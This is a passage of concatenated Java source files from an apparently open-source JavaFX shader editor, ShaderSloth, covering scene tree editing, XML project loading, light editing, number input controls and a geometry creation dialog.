meta.actionEntriesProperty().add(actionEntry); } } } ``` SceneTreeEditorController.java ```package eu.yvka.shadersloth.app.sceneEditor; import eu.yvka.shadersloth.app.App; import eu.yvka.shadersloth.app.ShaderSlothController; import eu.yvka.shadersloth.app.project.Project; import eu.yvka.shadersloth.share.controller.AbstractController; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Node; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.scene.light.Light; import javafx.beans.property.ObjectProperty; import javafx.event.ActionEvent; import javafx.event.Event; import javafx.fxml.FXML; import javafx.scene.control.*; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.function.Supplier; public class SceneTreeEditorController extends AbstractController { private static final Logger Log = LoggerFactory.getLogger(SceneTreeEditorController.class); /****************************************************************************** * * FXML Fields * ******************************************************************************/ @FXML private TreeView<Node> sceneTree; @FXML private MenuButton newEntryBtn; /****************************************************************************** * * Fields * ******************************************************************************/ private ObjectProperty<Node> selectedNode; private ShaderSlothController slothController; /****************************************************************************** * * Constructors * ******************************************************************************/ public SceneTreeEditorController(ShaderSlothController slothController) { super(App.class.getResource("view/sceneTreeView.fxml")); this.slothController = slothController; } @Override protected void onFxmlLoaded() { initTree(); } private void initTree() { sceneTree.setMinWidth(50); sceneTree.setPrefWidth(100); sceneTree.setShowRoot(true); sceneTree.setMaxWidth(Double.MAX_VALUE); sceneTree.setCellFactory(param -> new SceneTreeCell(this)); sceneTree.getSelectionModel().selectedItemProperty().addListener(((observable, oldValue, newValue) -> { if (newValue != null) { final Node selectedValue = newValue.getValue(); slothController.getGenericEditorController().loadNode(selectedValue); if (selectedValue instanceof Geometry) { Geometry geometry = (Geometry) selectedValue; // geometry.getMaterial().getRenderState().setWireframe(true); } if (oldValue != null && oldValue.getValue() instanceof Geometry) { Geometry geometry = (Geometry) oldValue.getValue(); // geometry.getMaterial().getRenderState().setWireframe(false); } } })); } public Project getProject() { return slothController.getProject(); } /****************************************************************************** * * Methods * ******************************************************************************/ void onNewGeometry(ActionEvent event) { invokeNodeCreationDialog(GeometryCreateDialog::new); event.consume(); } void onNewLight(ActionEvent event) { invokeNodeCreationDialog(LightCreateDialog::new); event.consume(); } private void invokeNodeCreationDialog(Supplier<Dialog<? extends Node>> dialogFactory) { final Project project = getProject(); final Scene scene = project.getScene(); final Dialog<? extends Node> dialog = dialogFactory.get(); dialog.initOwner(sceneTree.getScene().getWindow()); dialog.showAndWait().ifPresent((newNode -> { addNodeToTree(scene, newNode); })); } void onRemoveEntry(ActionEvent event) { final TreeItem<Node> selection = sceneTree.getSelectionModel().getSelectedItem(); if (selection != null) { final TreeItem<Node> parentItem = selection.getParent(); if (parentItem != null) { // Ensures that this operation is performed in the renderer thread final Node parent = parentItem.getValue(); final Node nodeToRemove = selection.getValue(); Engine.runWhenReady(() -> {; parent.removeChild(nodeToRemove); }); parentItem.getChildren().remove(selection); } } event.consume(); } /** * Load the scene and create a representation in the project tree. * * @param scene the scene to load. */ public void loadScene(Scene scene) { TreeItem<Node> rootNode = new TreeItem<>(scene.getRootNode()); loadScene(scene.getRootNode(), rootNode); sceneTree.setRoot(rootNode); sceneTree.getSelectionModel().selectFirst(); } private void loadScene(Node rootNode, TreeItem<Node> rootItem) { for (Node node : rootNode.getChildren()) { TreeItem<Node> nodeItem = new TreeItem<>(node); rootItem.getChildren().add(nodeItem); if (! (node instanceof Light)) { loadScene(node, nodeItem); } } } private void addNodeToTree(Scene scene, Node node) { TreeItem<Node> root = sceneTree.getRoot(); TreeItem<Node> newItem = new TreeItem<>(node); if (root == null) { root = new TreeItem<Node>(null); root.getChildren().add(newItem); sceneTree.setRoot(root); Engine.runWhenReady(() -> scene.setRootNode(node)); } else { MultipleSelectionModel<TreeItem<Node>> selectedModel = sceneTree.getSelectionModel(); TreeItem<Node> parentOfNewElement = selectedModel.getSelectedItem(); if (parentOfNewElement == null) { parentOfNewElement = root; } parentOfNewElement.getChildren().add(newItem); Engine.runWhenReady(() -> scene.getRootNode().addChild(node)); } if (node instanceof Light) { Engine.runWhenReady(() -> scene.getLightList().add((Light) node)); } } public void notifyUpdate() { MultipleSelectionModel<TreeItem<Node>> selectionModel = sceneTree.getSelectionModel(); if (selectionModel != null) { TreeItem<Node> item = selectionModel.getSelectedItem(); Event.fireEvent(item, new TreeItem.TreeModificationEvent<>(TreeItem.valueChangedEvent(), item)); } } } ``` ActionEntry.java ```package eu.yvka.shadersloth.share.actions; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.shadersloth.share.controls.FontAwesomeIcon; import javafx.beans.property.*; import javafx.beans.value.ObservableValue; import java.util.Optional; public class ActionEntry { private ObjectProperty<FontAwesomeIcon> icon; private IntegerProperty priority; private StringProperty text; private StringProperty tooltip; private StringProperty id; private ObjectProperty<ActionCallback> callback; public ActionEntry() {} public ActionEntry(FontAwesomeIcon icon) { setIcon(icon); } public ActionEntry(String text) { setText(text); } public ActionEntry(FontAwesomeIcon icon, String text) { setIcon(icon); setText(text); } public ActionEntry(FontAwesomeIcon icon, String text, ActionCallback callback) { setIcon(icon); setText(text); setOnAction(callback); } public ActionEntry(FontAwesomeIcon icon, ActionCallback callback) { setIcon(icon); setOnAction(callback); } public final Optional<FontAwesomeIcon> getIconOptional() { return icon != null ? Optional.of(icon.get()) : Optional.empty(); } public final FontAwesomeIcon getIcon() { Optional<FontAwesomeIcon> icon = getIconOptional(); if (icon.isPresent()) { return icon.get(); } return null; } public final void setIcon(FontAwesomeIcon icon) { iconProperty().set(icon); } public final ObjectProperty<FontAwesomeIcon> iconProperty() { if (icon == null) { icon = new SimpleObjectProperty<>(this, "icon"); } return icon; } public final Optional<ActionCallback> getCallback() { return callback != null ? Optional.of(callback.get()) : Optional.empty(); } public final void setOnAction(ActionCallback callback) { callbackProperty().set(callback); } public final ObjectProperty<ActionCallback> callbackProperty() { if (callback == null) { callback = new SimpleObjectProperty<>(this, "callback"); } return callback; } public final String getText() { return text != null ? text.get() : ""; } public final void setText(String text) { if (text == null) text = ""; textProperty().set(text); } public final StringProperty textProperty() { if (text == null) { text = new SimpleStringProperty(this, "text"); text.addListener(this::convertI18NToString); } return text; } public final String getTooltip() { return tooltip != null ? tooltip.get() : ""; } public final void setTooltip(String title) { if (title == null) title = ""; textProperty().set(title); } public final StringProperty tooltipProperty() { if (tooltip == null) { tooltip = new SimpleStringProperty(this, "tooltip"); tooltip.addListener(this::convertI18NToString); } return tooltip; } private void convertI18NToString(ObservableValue<? extends String> observable, String oldValue, String newValue) { if (oldValue != newValue && newValue.startsWith("%")) { if (observable instanceof StringProperty) { StringProperty.class.cast(observable).setValue(I18N.getString(newValue)); } } } public final IntegerProperty priorityProperty() { if (priority == null) { priority = new SimpleIntegerProperty(this, "priority", 0); } return priority; } public void setPriority(int priority) { priorityProperty().set(priority); } public int getPriority() { return priority == null ? 0 : priority.get(); } public final String getId() { return id != null ? id.get() : ""; } public final void setId(String id) { if (id == null) id = ""; idProperty().set(id); } public final StringProperty idProperty() { if (id == null) { id = new SimpleStringProperty(this, "id"); } return id; } } ``` XMLProjectReader.java ```package eu.yvka.shadersloth.app.project; import eu.yvka.slothengine.material.Material; import eu.yvka.slothengine.math.Color; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Node; import eu.yvka.slothengine.scene.camera.Camera; import eu.yvka.slothengine.scene.light.AmbientLight; import eu.yvka.slothengine.scene.light.Light; import eu.yvka.slothengine.scene.light.PointLight; import eu.yvka.slothengine.utils.NameAlreadyInUseException; import org.joml.Quaternionf; import org.joml.Vector3f; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.xml.stream.XMLInputFactory; import javax.xml.stream.XMLStreamConstants; import javax.xml.stream.XMLStreamReader; import java.io.File; import java.io.FileReader; import java.io.IOException; import java.lang.reflect.Constructor; import java.text.MessageFormat; import java.util.HashMap; import java.util.Map; import static eu.yvka.shadersloth.app.project.ProjectConstants.*; /** * @author Yves Kaufmann * @since 16.07.2016 */ public class XMLProjectReader implements ProjectReader { private static final Logger Log = LoggerFactory.getLogger(XMLProjectReader.class); private XMLInputFactory inputFactory; private XMLStreamReader reader; private ProjectImpl project; private Map<String, Light> lightMap; private Map<String, Material> materialMap; private Map<String, Geometry> geometryMap; private Object current = null; private Object parent = null; public XMLProjectReader() { lightMap = new HashMap<>(); materialMap = new HashMap<>(); geometryMap = new HashMap<>(); inputFactory = XMLInputFactory.newFactory(); } @Override public Project loadProject(File file) throws IOException { if (reader != null ) throw new IllegalStateException("project reading is already in progress"); this.project = new ProjectImpl(); try (FileReader in = new FileReader(file)) { reader = inputFactory.createXMLStreamReader(in); while (reader.hasNext()) { int event = reader.next(); switch (event) { case XMLStreamConstants.START_ELEMENT: { processStartElement(); break; } case XMLStreamConstants.END_ELEMENT: { processEndElement(); break; } } } } catch (Exception e) { throw new IOException("Failed to load project", e); } return this.project; } private void processStartElement() throws Exception { String tagName = reader.getLocalName(); switch (tagName) { case PROJECT_TAG: project.name = readRequiredAttr(PROJECT_ATTR_NAME); project.projectFolder = new File(readRequiredAttr(PROJECT_ATTR_FOLDER)); break; case SCENE_TAG: current = project.getScene(); break; case CAMERA_TAG: String cameraType = readRequiredAttr(CLASS_ATTR); Camera camera = (Camera) Class.forName(cameraType).newInstance(); project.getScene().setCamera(camera); current = camera; break; case NODES_TAG: break; case NODE_TAG: String id = readRequiredAttr(ID_ATTR); String classAttr = readRequiredAttr(CLASS_ATTR); String lightType = readAttr(LIGHT_ATTR_TYPE); Class<?> cls = Class.forName(classAttr); if (cls.isAssignableFrom(Node.class) || cls.isAssignableFrom(PointLight.class) || cls.isAssignableFrom(AmbientLight.class) || cls.isAssignableFrom(Geometry.class)) { Constructor<?> constructor = cls.getConstructor(String.class); current = constructor.newInstance(id); } break; case POSITION_TAG: Vector3f position = readVector(); if (current instanceof Camera) { ((Camera) current).setPosition(position); } if (current instanceof Node) { ((Node) current).setPosition(position); } break; case SCALE_TAG: Vector3f scale = readVector(); if (current instanceof Node) { ((Node) current).setScale(scale); } break; case ROTATION_TAG: Quaternionf rotation = readQuaternion(); if (current instanceof Node) { ((Node) current).setRotation(rotation); } break; } } private void processEndElement() { } private void readScene() { } private Vector3f readVector() { float x = readFloatAttr("x"); float y = readFloatAttr("y"); float z = readFloatAttr("z"); return new Vector3f(x, y, z); } private Quaternionf readQuaternion() { float x = readFloatAttr("x"); float y = readFloatAttr("y"); float z = readFloatAttr("z"); float w = readFloatAttr("w"); return new Quaternionf(x, y, z, w); } private Color readColor() { float r = readFloatAttr("r"); float g = readFloatAttr("g"); float b = readFloatAttr("b"); float a = readFloatAttr("a"); return new Color(r, g, b, a); } private float readFloatAttr(String attr) { String str = readRequiredAttr(attr); return Float.valueOf(str); } private String readRequiredAttr(String attribute) { String value = readAttr(attribute); if (value == null) { throw new IllegalStateException(MessageFormat.format("The \"{0}\" tag requires a \"{1}\" attribute", reader.getLocalName(), attribute)); } return value; } private String readAttr(String attribute) { return readAttr(attribute, null); } private String readAttr(String attribute, String alternativeValue) { String value = reader.getAttributeValue(null, attribute); if (value == null) return alternativeValue; return value; } } ``` TestControls.java ```package eu.yvka.shadersloth; import eu.yvka.slothengine.engine.AppSettings; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Node; import eu.yvka.slothengine.scene.light.AmbientLight; import eu.yvka.shadersloth.app.sceneEditor.SceneTreeCell; import eu.yvka.shadersloth.app.sceneEditor.GeometryCreateDialog; import javafx.application.Application; import javafx.geometry.Point2D; import javafx.scene.Scene; import javafx.scene.SceneAntialiasing; import javafx.scene.control.*; import javafx.scene.effect.Glow; import javafx.scene.input.ClipboardContent; import javafx.scene.input.Dragboard; import javafx.scene.input.TransferMode; import javafx.scene.layout.*; import javafx.scene.paint.Color; import javafx.stage.Stage; import javafx.util.Callback; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import eu.yvka.shadersloth.app.controls.NumberInput; public class TestControls extends Application { private final static Logger Log = LoggerFactory.getLogger(TestControls.class); private TreeView<Node> treeView = null; public static void main(String[] args) { launch(args); } @Override public void start(final Stage primaryStage) throws NoSuchMethodException { Engine.start(new AppSettings()); VBox vBox = initializeScene(primaryStage); Scene scene = new Scene(vBox, -1, -1, true, SceneAntialiasing.BALANCED); primaryStage.setTitle("ShaderSlothRenderer"); primaryStage.setMinWidth(1024); primaryStage.setHeight(768); primaryStage.setScene(scene); primaryStage.show(); primaryStage.setOnCloseRequest((event -> { Engine.shutdown(); })); } private static TreeItem<Node> draggedTreeItem; private VBox initializeScene(Stage stage) { VBox vBox = new VBox(); vBox.getChildren().addAll(new NumberInput("X", 10), new NumberInput("Y", 10, 0, 20), new Slider()); Menu newMenu = new Menu("New"); MenuItem newModel = new MenuItem("Model"); newMenu.setOnAction((event -> { GeometryCreateDialog dialog = new GeometryCreateDialog(); dialog.initOwner(stage); dialog.showAndWait(); })); newMenu.getItems().add(newModel); newMenu.getItems().add(new MenuItem("Light")); newMenu.getItems().add(new MenuItem("Geometry")); ContextMenu contextMenu = new ContextMenu(); contextMenu.getItems().add(newMenu); treeView = new TreeView<>(); treeView.setContextMenu(contextMenu); treeView.setCellFactory(new Callback<TreeView<Node>, TreeCell<Node>>() { @Override public TreeCell<Node> call(TreeView<Node> param) { TreeCell<Node> treeCell = new SceneTreeCell(null); treeCell.setOnDragDetected(event -> { if (treeCell.isEmpty()) return; ClipboardContent content = new ClipboardContent(); content.putString("TROLOLOL"); Dragboard dragboard = treeView.startDragAndDrop(TransferMode.MOVE); dragboard.setContent(content); draggedTreeItem = treeCell.getTreeItem(); event.consume(); }); treeCell.setOnDragOver(event -> { Point2D sceneCoordinates = treeCell.localToScene(0d, 0d); double height = treeCell.getHeight(); // get the y coordinate within the control double y = event.getSceneY() - (sceneCoordinates.getY()); // if the drop is three quarters of the way down the control // then the drop will be a sibling and not into the tree item // set the dnd effect for the required action if (y > (height * .75d)) { event.acceptTransferModes(TransferMode.LINK); } else { } event.acceptTransferModes(TransferMode.MOVE); }); treeCell.setOnDragDropped(event -> { if (draggedTreeItem != null) { TreeItem<Node> parentDragged = draggedTreeItem.getParent(); Node nodeValue = draggedTreeItem.getValue(); if (parentDragged != draggedTreeItem) { parentDragged.getChildren().remove(draggedTreeItem); treeCell.getTreeItem().getChildren().add(draggedTreeItem); treeCell.getTreeItem().setExpanded(true); } } event.setDropCompleted(true); event.consume(); }); treeCell.setOnDragEntered(event -> { if (treeCell.isEmpty()) return; treeCell.setUnderline(true); treeCell.setEffect(new Glow()); treeCell.setBorder(new Border(new BorderStroke(Color.BLACK, BorderStrokeStyle.DASHED, new CornerRadii(10), BorderWidths.DEFAULT))); event.consume(); }); treeCell.setOnDragExited(event -> { if (treeCell.isEmpty()) return; treeCell.setUnderline(false); treeCell.setEffect(null); treeCell.setBorder(null); event.consume(); }); return treeCell; } }); eu.yvka.slothengine.scene.Scene scene = new eu.yvka.slothengine.scene.Scene(); Node root = new Node("My Project"); scene.setRootNode(root); TreeItem<Node> rootItem = new TreeItem<>(root); rootItem.setExpanded(true); treeView.setRoot(rootItem); for (int i = 0; i < 10; i++) { Node child = null; if (i % 3 == 0) { child = new Node("Child " + i); } else if (i % 3 == 1) { child = new Geometry("Child " + i); } else if (i % 3 == 2) { child = new AmbientLight("Light1" + i); }; root.addChild(child); TreeItem<Node> item = new TreeItem<>(child); item.setExpanded(false); rootItem.getChildren().add(item); } vBox.getChildren().add(treeView); return vBox; } } ``` NumberInputSkin.java ```package eu.yvka.shadersloth.app.controls.number; import com.sun.javafx.scene.control.skin.BehaviorSkinBase; import eu.yvka.shadersloth.app.controls.NumberInput; import javafx.event.EventHandler; import javafx.geometry.Insets; import javafx.geometry.Point2D; import javafx.geometry.Pos; import javafx.scene.Cursor; import javafx.scene.control.Label; import javafx.scene.control.TextField; import javafx.scene.control.TextFormatter; import javafx.scene.input.MouseEvent; import javafx.scene.layout.Pane; import javafx.scene.layout.VBox; import javafx.util.converter.NumberStringConverter; import java.awt.*; import java.text.NumberFormat; public class NumberInputSkin extends BehaviorSkinBase<NumberInput, NumberInputBehaviour> { private static final String VALUE_PROPERTY = "value"; private static final String LABEL_PROPERTY = "label"; private static final String MIN_VALUE_PROPERTY = "minValue"; private static final String MAX_VALUE_PROPERTY = "maxValue"; private static final String FORMAT_PROPERTY = "format"; private TextFormatter<Number> formatter; private NumberFormat numberFormat; private TextField textField; private Label label; public NumberInputSkin() { super(null, new NumberInputBehaviour(null)); } /** * Constructor for all SkinBase instances. * * @param control The control for which this Skin should attach to. */ public NumberInputSkin(NumberInput control) { super(control, new NumberInputBehaviour(control)); initialize(); control.requestLayout(); registerChangeListener(control.valueProperty(), VALUE_PROPERTY); registerChangeListener(control.minValueProperty(), MIN_VALUE_PROPERTY); registerChangeListener(control.maxValueProperty(), MAX_VALUE_PROPERTY); registerChangeListener(control.labelProperty(), LABEL_PROPERTY); registerChangeListener(control.formatProperty(), FORMAT_PROPERTY); } private void initialize() { getSkinnable().setFocusTraversable(false); VBox hLayout = new VBox(); hLayout.setCursor(Cursor.H_RESIZE); hLayout.setFocusTraversable(false); textField = new TextField(); textField.setMinWidth(50); textField.setMaxWidth(150); textField.setText(Double.toString(getSkinnable().getValue())); label = new Label(); label.setAlignment(Pos.CENTER_LEFT); label.setLabelFor(textField); label.setPadding(new Insets(0, 0, 0, 3)); label.setVisible(false); label.setManaged(false); setUpTextFormatter(); textField.setTextFormatter(formatter); hLayout.getChildren().add(label); hLayout.getChildren().add(textField); getChildren().clear(); getChildren().add(hLayout); eventHandling(hLayout); showValue(getSkinnable().getValue()); showLabel(getSkinnable().getLabel()); } private void eventHandling(final Pane hLayout) { hLayout.addEventHandler(MouseEvent.ANY, new EventHandler<MouseEvent>() { double mouseXBeforeClick = 0; double mouseYBeforeClick = 0; double lastMouseX = 0; @Override public void handle(MouseEvent event) { if (event.getEventType().equals(MouseEvent.MOUSE_PRESSED)) { lastMouseX = mouseXBeforeClick = event.getX(); mouseYBeforeClick = event.getY(); } if (event.getEventType().equals(MouseEvent.MOUSE_RELEASED)) { hLayout.setCursor(Cursor.H_RESIZE); resetMouseCursor(); } if (event.getEventType().equals(MouseEvent.MOUSE_DRAGGED)) { hLayout.setCursor(Cursor.NONE); double offset = (event.getX() - mouseXBeforeClick) < 0 ? - 1 : 1; showValue(formatter.getValue().doubleValue() + offset); resetMouseCursor(); } } private void resetMouseCursor() { try { Point2D mousePos = hLayout.localToScreen(mouseXBeforeClick, mouseYBeforeClick); new Robot().mouseMove((int) mousePos.getX(), (int) mousePos.getY()); } catch (AWTException e) { e.printStackTrace(); } } }); formatter.valueProperty().addListener((observable, oldValue1, newValue) -> { getSkinnable().setValue(newValue.doubleValue()); }); } private void setUpTextFormatter() { numberFormat = NumberFormat.getInstance(); numberFormat.setMinimumFractionDigits(2); NumberStringConverter converter = new NumberStringConverter(numberFormat); formatter = new TextFormatter<>(converter); } @Override protected void handleControlPropertyChanged(String propertyReference) { switch (propertyReference) { case VALUE_PROPERTY: showValue(getSkinnable().getValue()); break; case LABEL_PROPERTY: showLabel(getSkinnable().getLabel()); break; case FORMAT_PROPERTY: numberFormat = getSkinnable().formatProperty().get(); NumberStringConverter converter = new NumberStringConverter(numberFormat); formatter = new TextFormatter<>(converter); textField.setTextFormatter(new TextFormatter<>(converter)); break; } } public void showValue(Double newValue) { newValue = Math.max(newValue, getSkinnable().getMinValue()); newValue = Math.min(newValue, getSkinnable().getMaxValue()); formatter.setValue(newValue); } public void showLabel(String labelText) { if (!"".equals(labelText.trim())) { label.setText(labelText + ":"); label.setVisible(true); label.setManaged(true); } else { label.setVisible(false); label.setManaged(false); } } } ``` ShaderErrorCellFactory.java ```package eu.yvka.shadersloth.app.materialEditor.shaders.errors; import eu.yvka.shadersloth.app.App; import javafx.scene.control.TableCell; import javafx.scene.control.TableColumn; import javafx.scene.image.Image; import javafx.scene.image.ImageView; /** * @author Yves Kaufmann * @since 18.07.2016 */ public class ShaderErrorCellFactory { public static TableCell<ShaderError, String> getDescriptionCell(TableColumn<ShaderError, String> shaderErrorStringTableColumn) { return new TableCell<ShaderError, String>() { private Image errorIcon; private Image warningIcon; private ImageView imageView; @Override protected void updateItem(String item, boolean empty) { super.updateItem(item, empty); if (empty || item == null) { setText(null); setGraphic(null); } else { if (imageView == null) { imageView = new ImageView(); imageView.setFitWidth(16); imageView.setFitHeight(16); } if (errorIcon == null) { errorIcon = new Image(App.class.getResource("images/error_icon_16x16.png").toExternalForm()); } if (warningIcon == null) { warningIcon = new Image(App.class.getResource("images/warning_icon_16x16.png").toExternalForm()); } if (item.contains("error")) { imageView.setImage(errorIcon); } else { imageView.setImage(warningIcon); } setGraphic(imageView); setText(item); } } }; } } ``` ControllerMeta.java ```package eu.yvka.shadersloth.share.controller; import eu.yvka.shadersloth.share.actions.ActionEntry; import javafx.beans.property.ObjectProperty; import javafx.beans.property.SimpleObjectProperty; import javafx.beans.property.SimpleStringProperty; import javafx.beans.property.StringProperty; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.scene.Node; /** * Meta data about a controllers */ public class ControllerMeta { /****************************************************************************** * * Constructors * ******************************************************************************/ public ControllerMeta() { } /****************************************************************************** * * Fields & Properties * ******************************************************************************/ /** * List of action entries of this constructor */ private ObservableList<ActionEntry> actionEntries; public ObservableList<ActionEntry> actionEntriesProperty() { if (actionEntries == null) { actionEntries = FXCollections.observableArrayList(); actionEntries.sorted((o1, o2) -> { int p1 = o1.getPriority(); int p2 = o2.getPriority(); return p1 == p2 ? 0 : p1 < p2 ? -1 : 1; }); } return actionEntries; } /** * Defines the title of a controllers * * @defaultValue empty */ private StringProperty title; /** * @see #title */ public StringProperty titleProperty() { if (title == null) { title = new SimpleStringProperty(this, "title"); } return title; } /** * @see #title */ public String getTitle() { return title == null ? "" : title.get(); } /** * @see #title */ public void setTitle(String title) { titleProperty().set(title); } /** * Defines the graphic node of a controllers * * @defaultValue empty */ private ObjectProperty<Node> graphicNode; /** * @see #title */ public ObjectProperty<Node> graphicNodeProperty() { if (graphicNode == null) { graphicNode = new SimpleObjectProperty<Node>(this, "graphicNode"); } return graphicNode; } /** * @see #title */ public Node getGraphicNode() { return graphicNode == null ? null : graphicNode.get(); } /** * @see #title */ public void setGraphicNode(Node graphicNode) { graphicNodeProperty().set(graphicNode); } } ``` LightEditorController.java ```package eu.yvka.shadersloth.app.sceneEditor.genericEditor; import eu.yvka.shadersloth.app.App; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.shadersloth.app.ShaderSlothController; import eu.yvka.shadersloth.app.controls.NumberInput; import eu.yvka.shadersloth.share.controller.AbstractController; import eu.yvka.slothengine.math.Color; import eu.yvka.slothengine.scene.light.Light; import eu.yvka.slothengine.scene.light.LightType; import javafx.fxml.FXML; import javafx.scene.control.ChoiceBox; import javafx.scene.control.ColorPicker; import javafx.scene.control.Slider; import javafx.scene.control.TextField; import java.util.Optional; public class LightEditorController extends AbstractController { @FXML private TextField lightId; @FXML private NumberInput xPosition; @FXML private NumberInput yPosition; @FXML private NumberInput zPosition; @FXML private ChoiceBox<String> lightTypeChoice; @FXML private ColorPicker lightIntensity; @FXML private NumberInput lightEnergy; @FXML private Slider lightEnergySlider; private Optional<Light> selectedNode = Optional.empty(); private final ShaderSlothController slothController; public LightEditorController(ShaderSlothController controller) { super(App.class.getResource("view/lightEditor.fxml")); this.slothController = controller; } @Override protected void onFxmlLoaded() { lightId.textProperty().addListener((currentId, oldId, newId) -> { selectedNode.ifPresent((node) -> { node.setId(newId); slothController.getSceneTreeEditorController().notifyUpdate(); }); }); xPosition.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getPosition().x = newValue.floatValue()); }); yPosition.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getPosition().y = newValue.floatValue()); }); zPosition.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getPosition().z = newValue.floatValue()); }); lightIntensity.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> { node.setColor(Color.fromRGB(newValue.getRed(), newValue.getGreen(), newValue.getBlue())); }); }); lightEnergySlider.setMin(0.0); lightEnergySlider.setMax(10.0); lightEnergySlider.setBlockIncrement(0.1); lightEnergy.setMaxValue(10.0); lightEnergy.setMinValue(0.0); lightEnergy.valueProperty().bindBidirectional(lightEnergySlider.valueProperty()); lightEnergy.valueProperty().addListener((observable, oldValue, newValue) -> { lightEnergySlider.setValue(newValue.doubleValue()); selectedNode.ifPresent((node) -> { node.setAttenuation(newValue.floatValue()); }); }); lightTypeChoice.getItems().addAll( I18N.getString("light.type.point"), I18N.getString("light.type.ambient") ); // only view able but not change able lightTypeChoice.setDisable(true); lightTypeChoice.getSelectionModel().selectFirst(); } public void updateData(Light node) { selectedNode = Optional.of(node); lightId.setText(node.getId()); xPosition.setValue(node.getPosition().x); yPosition.setValue(node.getPosition().y); zPosition.setValue(node.getPosition().z); lightEnergy.setValue(node.getAttenuation()); lightTypeChoice.setValue(node.getType().equals(LightType.Ambient) ? lightTypeChoice.getItems().get(1) : lightTypeChoice.getItems().get(0)); Color color = node.getColor(); lightIntensity.setValue( javafx.scene.paint.Color.color( color.getRed(), color.getBlue(), color.getBlue() ) ); } } ``` FormPane.java ```package eu.yvka.shadersloth.app.sceneEditor; import javafx.geometry.Pos; import javafx.scene.control.Control; import javafx.scene.control.Label; import javafx.scene.layout.GridPane; /** * Created by fxdapokalypse on 20.07.16. */ public class FormPane extends GridPane { public void addFormEntry(int col, int row, String labelText, Control...controls) { Label label = new Label(labelText); label.setAlignment(Pos.BASELINE_LEFT); add(label, col, row); col = col + 1; for (int i = 0; i < controls.length; i++) { add(controls[i], col + i, row); } } } ``` GeometryCreateDialog.java ```package eu.yvka.shadersloth.app.sceneEditor; import eu.yvka.shadersloth.app.App; import eu.yvka.shadersloth.app.controls.MessageBanner; import eu.yvka.shadersloth.app.controls.validation.Validations; import eu.yvka.slothengine.geometry.primitives.Cube; import eu.yvka.slothengine.geometry.primitives.Sphere; import eu.yvka.slothengine.scene.Geometry; import javafx.beans.value.ObservableValue; import javafx.event.ActionEvent; import javafx.geometry.HPos; import javafx.geometry.Pos; import javafx.scene.control.*; import javafx.scene.image.ImageView; import javafx.scene.layout.ColumnConstraints; import javafx.scene.layout.GridPane; import javafx.scene.layout.VBox; import javafx.stage.FileChooser; import javafx.util.converter.NumberStringConverter; import org.controlsfx.control.textfield.TextFields; import org.controlsfx.validation.ValidationSupport; import java.io.File; import java.text.NumberFormat; import java.util.Arrays; import java.util.Collection; import static eu.yvka.shadersloth.share.I18N.I18N.getString; public class GeometryCreateDialog extends Dialog<Geometry> { enum GeometryType { CUBE(getString("geometry.create.dlg.type.cube")), SPHERE(getString("geometry.create.dlg.type.sphere")), CREATE_FROM_FILE(getString("geometry.create.dlg.type.file")); GeometryType(String label) { this.label = label; } String label; @Override public String toString() { return label; } } /****************************************************************************** * * Fields * ******************************************************************************/ public static final double DEFAULT_CUBE_SIZE = 1.0; private NumberFormat numberFormatInstance; private NumberFormat integerOnlyNumberFormat; private ValidationSupport validationSupport; private MessageBanner messageBanner; /* Basic Dialog */ private FormPane rootGrid; private TextField geometryId; private ChoiceBox<GeometryCreateDialog.GeometryType> modelTypeChoice; /* File Dialog */ private FileChooser fileModelChooser = null; private TextField pathToMeshTextfield; private Button fileChooserButton; /* Sphere Dialog */ private TextField radiusField; private TextField ringsField; private TextField segmentsField; /* Model Dialog */ private TextField cubesizeField; /****************************************************************************** * * Constructors * ******************************************************************************/ public GeometryCreateDialog() { super(); initialize(); numberFormatInstance = NumberFormat.getNumberInstance(); integerOnlyNumberFormat = (NumberFormat) numberFormatInstance.clone(); integerOnlyNumberFormat.setParseIntegerOnly(true); } private void initialize() { setTitle(getString("geometry.create.dlg.title")); setHeaderText(getString("geometry.create.dlg.header")); setGraphic(new ImageView(App.class.getResource("images/mesh_icon_32x32.png").toExternalForm())); setResizable(false); messageBanner = new MessageBanner(); String geometryIdLabel = getString("geometry.create.dlg.id.label"); geometryId = TextFields.createClearableTextField(); geometryId.setPromptText(getString("geometry.create.dlg.id.prompt")); geometryId.setTooltip(new Tooltip(getString("geometry.create.dlg.id.tooltip"))); String geometryTypeLabel = getString("geometry.create.dlg.type"); modelTypeChoice = new ChoiceBox<>(); modelTypeChoice.setMaxWidth(Double.MAX_VALUE); modelTypeChoice.setTooltip(new Tooltip(getString("geometry.create.dlg.type.tooltip"))); modelTypeChoice.getItems().addAll(GeometryCreateDialog.GeometryType.values()); modelTypeChoice.valueProperty().addListener(this::onModelTypeChanged); ColumnConstraints col1 = new ColumnConstraints(); col1.setHalignment(HPos.RIGHT); col1.setMinWidth(50); col1.setPercentWidth(15); ColumnConstraints col2 = new ColumnConstraints(); col2.setHalignment(HPos.LEFT); col2.setPercentWidth(80); col2.setFillWidth(true); ColumnConstraints col3 = new ColumnConstraints(); col3.setHalignment(HPos.LEFT); col3.setPercentWidth(5); rootGrid = new FormPane(); rootGrid.getColumnConstraints().addAll(col1, col2, col3); rootGrid.setAlignment(Pos.CENTER); rootGrid.setHgap(5); rootGrid.setVgap(5); rootGrid.addFormEntry(0, 1, geometryIdLabel, geometryId); rootGrid.addFormEntry(0, 2, geometryTypeLabel, modelTypeChoice); VBox content = new VBox(5, messageBanner, rootGrid); content.setAlignment(Pos.TOP_CENTER); getDialogPane().setContent(content); getDialogPane().getScene().getWindow().sizeToScene(); validationSupport = new ValidationSupport(); validationSupport.registerValidator(geometryId, Validations.createEmptyValidator(geometryIdLabel)); 